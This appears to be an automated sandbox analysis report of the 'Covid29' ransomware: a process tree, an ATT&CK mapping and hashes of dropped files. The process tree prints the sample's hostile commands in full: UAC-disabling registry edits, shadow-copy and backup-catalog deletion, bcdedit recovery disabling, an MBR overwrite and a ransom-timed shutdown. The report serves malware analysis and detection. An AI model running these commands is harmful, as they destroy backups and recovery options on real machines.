    - Modifies registry key
    PID:4420
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1460
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3768
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:488
- - C:\Users\Admin\AppData\Local\Temp\2507.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    PID:1996
- - C:\Users\Admin\AppData\Local\Temp\2507.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      PID:3424
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:3928
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:768
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        
        PID:692
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:2700
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1224
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4092
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:4332
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:2068
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        
        PID:292
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3032
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1240
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:2548
- - C:\Users\Admin\AppData\Local\Temp\2507.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1224

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2180

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4784

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:3580

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4876

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
c754a7a485165d4a72ed83d04574673f

SHA1
0b734e0d987a7a174ff7c3720013eeb6e93a71c9

SHA256
a995bb313feb9450b0f5822b048bfd131884551c93fde3ea55124112fc4755b3

SHA512
9607e20b099d733b79ce4aa323a27c10a3c9108439cc6cced5363912bd69ab263835f7dc1a10d0920685256384d872856cc89613a9fe854529de7e52363d2f08

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
5430f72588a9fac6c9ac25d92937c9c4

SHA1
5a92048c5de21d203f48c8f0015208e8e5b77440

SHA256
34d92277c4c2095ad1c1cced0e297f4fce3bb08d917372d93f28bd8fee2d885e

SHA512
5b1c15749776a9bc7ba35d13685bd885f5aac8debe7e2f87525297e2a69f4c9620dbd01a40bc34a9cab68497498eba6537fa582c10b0f8cf01f7a6142b4c088b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
4f9b10faad4a5baec57218274b40ae91

SHA1
1aa288a4f5f6507e8c3dd30301ff546c5703feb5

SHA256
9776df5311f78716716d54c559af2d47bedc1fec6573ffec96d6e7db93690894

SHA512
c25ab2f080ca6493520dc7069c10994c37cfe08268048102e3ca7a94c3f72c9f3aa010e5f6eeb61b72932cdc52965df18a3169758e4340dc1215e9941ba25090

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
524B

MD5
0466f05d81ed8ddba90a118588c2dc80

SHA1
6307c64ce65ece63c4ef2daf9c393df34d4ea0b3

SHA256
cbc616e42e13fac152d92f0094c01f8a5f5d485a47b9ef0bf4349467843d7430

SHA512
dbec45842f23a363638b6f748c8465d3ed08f00bb3321277bd7c60a76cabfc11c5750300281a87f1372f3cdb905cea900a2150f8fd1ded3520fe959d0ab6195e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
57faaa493f8bb2b517543318b11f87fa

SHA1
f8a485c16b01eb80a74fb1be2d223fbb9ecf62d6

SHA256
faf23863550ca83d6dfd2aedba1f3bf0e5863a67dc788bd64c862df151b155fe

SHA512
713f3e79df7821a247888bb6df476a324bccd7fe3612f31dc74d8b75f75139899bba1e84d47247f3a870e83d269682a3fc0c15277cfc1cdf5c091d92ac70437a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
c591ad3006da5487513ccd192aa8e674

SHA1
50f0692a05ca9d8181a740b2f8f2774726bc72d2

SHA256
562d6d3a86df736290e17f3bf101463667770a19590ecf8eaad79a6e866d82d6

SHA512
e8c8bf339f130f285e1972e5e84eabdbc131f81890ba34b4446f10966661faaad27fb7b691224a9213fe5770dac25e021b504dba542b1cbf7b65bdc99d58d74b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
a87a21c6d54c2848ebe496901495000a

SHA1
d2e975194e71fa3ce56bef65bee461cab22c677e

SHA256
dd384b8344e3290af0bb91417c591b3f05fb44a1efa876f7316cdf38b40283a8

SHA512
aadce117c26b9080250263f6b26009d23de9e6f3763c4c86f31a85482ea9b04085754f8e4f4f611379c64ad2c3546c9f2ac329e5c129c6db1799d2c1f57b37db

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
3b6be08237adf1fe4c36a6e38db60a1d

SHA1
8ef3305f2dbdb81fa98c0884a79bf7a2a1cbc0f0

SHA256
c7c08c50f1cb874eec9e62c624edc9be51b7d4e4c4d4426d2ddc68ada90215ef

SHA512
cd92bb92375ae94dc1d11f10da49b399f4d0b672c559a9a1f3e12e9198afcbbc3cf9db3e41474d01544a0418180e72fa78d4ab70796677909cba89875ac65055

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
87a669290d9a2a9d1181a04b736911a9

SHA1
1a41a6a9b94ec923a51ed0665b4d35d0c4a14521

SHA256
3242c263d4b04d735644763cb13ffba6d0f81e2ef4577385add58ee652a3bd8f

SHA512
847f0aeaab5ddc8fc20f0d5fbd952c6186ae187d1b01230861dedd3137967457d4eeadbb508f804ec063abd2738d74ba4d56a18b5c8ca1f0639ffa22f40c71d0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_1

Filesize
264KB

MD5
c3c2ad547f95d851ed1aba61433e57c5

SHA1
1ad180580b30e965517d9a9d1f0518935ec58982

SHA256
d3df8306d2f82d84035d17c038299ec9d308e69aa5dce3d2cd4c9376433479a6

SHA512
139a0cdc4fe15ae01abab7b54f599faf812c0992c2e3da0810e9e6fbaec0e730d940f3915a6586c02c183ef3d33221396ff9061397e54cc28a980d0e8f8986bd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
228KB

MD5
d709a0e1ac2c8117bd57fda166ddfc62

SHA1
a3006e4e8c1a42e634b25b5ba8b9b8d0baeae8d9

SHA256
9e7c7e6f7e2b3291e68ce7996c4a7f639b800623f5ff46f685f957e32ac9fe42

SHA512
ecc5b8f0dd36cf2c2c68f1ec8f6280c45402d61fa7b6d692dfeb603a4d34b9e3f59fa416fe265f861aed2baa51f9c9f0f8c694363ca23de5921b8cc002937593

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
228KB

MD5
c7025584ce7e46ddb6b78daa378dab52

SHA1
37a0c6ef6ada5eebd6235be62e2d80b0c2e77316

SHA256
a9eb74f99df2c07a416b58dbe9396e965aa0ec1751f04885805168fccced0bd1

SHA512
4cc5e6b47286c2aa9b92c11f81d8db67db21e42606f0f31385b88e304e89ed3ce5103e4a98503df8ed8ab1211b1490d76932a4ebbf152acc015af896626fe38c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
228KB

MD5
387077353c01b80fb2399800e2348150

SHA1
fb7169974a211425299d47b96d9281f757737a72

SHA256
8593cd53ac0fc15dc825375dcfeefde455df9f4cbcc02222c764ed87737cb57e

SHA512
6ff60a64c6ed1e71f7a71d3cda1965a45919c016aa0da5f1f230220ef29c28e8f2f414ce60aa0513eb87b061ba4fe4e580c5380e58d3b62b0a189778da05fc0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\2507.tmp\Cov29Cry.exe

Filesize
103KB

MD5
8bcd083e16af6c15e14520d5a0bd7e6a

SHA1
c4d2f35d1fdb295db887f31bbc9237ac9263d782

SHA256
b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

SHA512
35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\2507.tmp\Cov29LockScreen.exe

Filesize
48KB

MD5
f724c6da46dc54e6737db821f9b62d77

SHA1
e35d5587326c61f4d7abd75f2f0fc1251b961977

SHA256
6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c

SHA512
6f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc

Download Submit
C:\Users\Admin\AppData\Local\Temp\2507.tmp\TrojanRansomCovid29.bat

Filesize
1KB

MD5
57f0432c8e31d4ff4da7962db27ef4e8

SHA1
d5023b3123c0b7fae683588ac0480cd2731a0c5e

SHA256
b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

SHA512
bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\2507.tmp\fakeerror.vbs

Filesize
144B

MD5
c0437fe3a53e181c5e904f2d13431718

SHA1
44f9547e7259a7fb4fe718e42e499371aa188ab6

SHA256
f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

SHA512
a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\2507.tmp\mbr.exe.danger

Filesize
1.3MB

MD5
35af6068d91ba1cc6ce21b461f242f94

SHA1
cb054789ff03aa1617a6f5741ad53e4598184ffa

SHA256
9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

SHA512
136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

Download Submit
C:\Users\Admin\Desktop\covid29-is-here.txt

Filesize
861B

MD5
c53dee51c26d1d759667c25918d3ed10

SHA1
da194c2de15b232811ba9d43a46194d9729507f0

SHA256
dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

SHA512
da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip

Filesize
1.7MB

MD5
272d3e458250acd2ea839eb24b427ce5

SHA1
fae7194da5c969f2d8220ed9250aa1de7bf56609

SHA256
bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3

SHA512
d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
memory/1992-175-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/1992-180-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/1992-69-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/1996-99-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download
memory/4992-102-0x0000000000100000-0x0000000000120000-memory.dmp

Filesize
128KB

Download